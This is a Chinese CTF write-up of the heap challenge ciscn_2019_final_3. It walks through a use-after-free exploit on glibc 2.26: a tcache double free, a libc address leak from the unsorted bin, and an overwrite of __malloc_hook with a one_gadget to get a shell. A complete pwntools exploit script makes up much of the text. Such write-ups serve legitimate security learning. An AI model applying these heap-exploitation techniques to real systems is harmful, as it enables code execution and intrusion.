【buu刷题】ciscn_2019_final_3

ciscn_2019_final_3

审题

注意此题为libc2.26的堆体 也大概率是我们第一次接触到tcache的题目

tcache全名thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。lib-2.26【2.23以后】正式提供了该机制,并默认开启。

详情请见 Tcache attack - CTF Wiki (ctf-wiki.org)Tcache Attack 学习 - 先知社区 (aliyun.com)

惯例先checksec一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d20X6ii9-1679132357011)(1678982491716.png)]

保护全开的64位程序

放进ida64里看看

标准的菜单题 1添加堆 2删除堆

在这里插入图片描述

1 添加堆

我们先输入我们希望填写的idx的值 将其填入size_4中(idx不得大于0x18不得重复不得为负数)

然后读取size(size不得大于0x78不得为负数)

在unk_2022a0+idx的位置写入malloc到的大小为size的chunk的地址

然后向malloc到的chunk写入大小为size的内容

最后向我们打印出malloc到的chunk的地址

在这里插入图片描述

2 删除堆

输入idx将对应chunk free 但没有将指针归零 存在uaf漏洞

在这里插入图片描述

审题完毕开始解题

解题

既然存在uaf漏洞那我们就可以利用uaf篡改chunk的fd的值然后利用unsorted_bin_attack的方式泄露出libc的基地址 然后将mallochook篡改为one_gadget达成获取控制权的效果

首先我们先利用uaf漏洞

tache double free

先创立大于0x400大小的chunk(目的是将后面构造的fakechunk可以放进unsortedbin中)

tcache的大小为0~0x400

heap=add(0,0x78,'a')#0#add函数的返回值为chunk的地址
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12

然后我们free两次我们的12号chunk 达成double free的一个效果让tcachebin 0x28链中存入两个地址同为12号地址的chunk

由于我们的申请chunk是在bianjichunk内容前的 因此我们需要申请两次才能成功篡改其中的内容

tcache_get函数 从取出tcache bin list中取出时调用

  1. 向索引为tc_idx的Bin List中拿出Chunk

  2. 对List的entries指针进行了设置,拿出后指向当前chunk的fd

    也就是说当我们利用uaf或者double free漏洞来修改entries的地址时我们需要多free一次 因为第一次malloc时我们还没有篡改内容此时下一个entries的内容依旧是指向原本的chunk只有再第二次free的时候才能将其篡改

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

然后我们再次申请一个chunk此时就已经跳转到了我们希望他再的heap-0x10的位置上了 我们此时再将chunk0的size位修改为0x421

至此tcache double free流程结束

free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(0))#5 注意此处我们所填充的内容是啥都可以的
#13和14的地址都是被free叼的12的地址
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin

在这里插入图片描述

unsorted bin attack

利用unsouted bin attack来泄露libc的地址

由于我们已经将chunk0的size位篡改为了0x421因此当我们将chunk0free掉的时候会将其放进unsortedbin中

那么此时我们就可以利用unsortedbin attack来泄露libc的地址了

当unsotedbin中有且只有一个chunk的时候 该chunk的fd和bk都会指向一个与 main_arena 有固定偏移的地址

由于我们在unsorted中分下来一块后后面依然在unsortbin里,因此我们先将chunk1free掉

然后add(16,0x78,'e')这样我们在tcache中的chunk1的fd指针就被我们修改成了我们需要泄露的与 main_arena 有固定偏移的地址

然后我们先申请一个大小为0x18的chunk将chunk1重新申请出来 并将entries修改为了我们需要泄露的与 main_arena 有固定偏移的地址

此时我们再次malloc一个0x18的chunk那就会从该地址中申请出一个chunk 然后打印出该地址的实际地址减去偏移我们就能获得libc的基地址

然乎我们就可以通过该libc_base获取到malloc_hook的地址 以及需要利用的one_gadget的地址

free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
通过tache double free篡改mallochook

利用tache double free将chunk跳转到mallochook的地址然后将其中的内容篡改为one_gadget

此时我们再申请一个chunk就达成了篡夺程序控制权的目的

free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
io.sendline('1')
io.sendline('22')#idx
io.interactive()

需要注意的是我们iteractive后由于使用的是mallochook所以我们输入的指令应当是;cat flag

成功获取到flag

在这里插入图片描述

exp:

#encoding:utf-8
from pwn import *

#io=remote('node3.buuoj.cn',29277)
io=process('./ciscn_final_3')
libc=ELF('./libc.so.6')

context.log_level='debug'

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def free(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12

#gdb.attach(io)
#dup 
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5 注意此处我们所填充的内容是啥都可以的
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
#gdb.attach(io)

#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')

io.interactive()

参考了angel-yan博客

https://blog.csdn.net/mcmuyanga/article/details/113995633

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值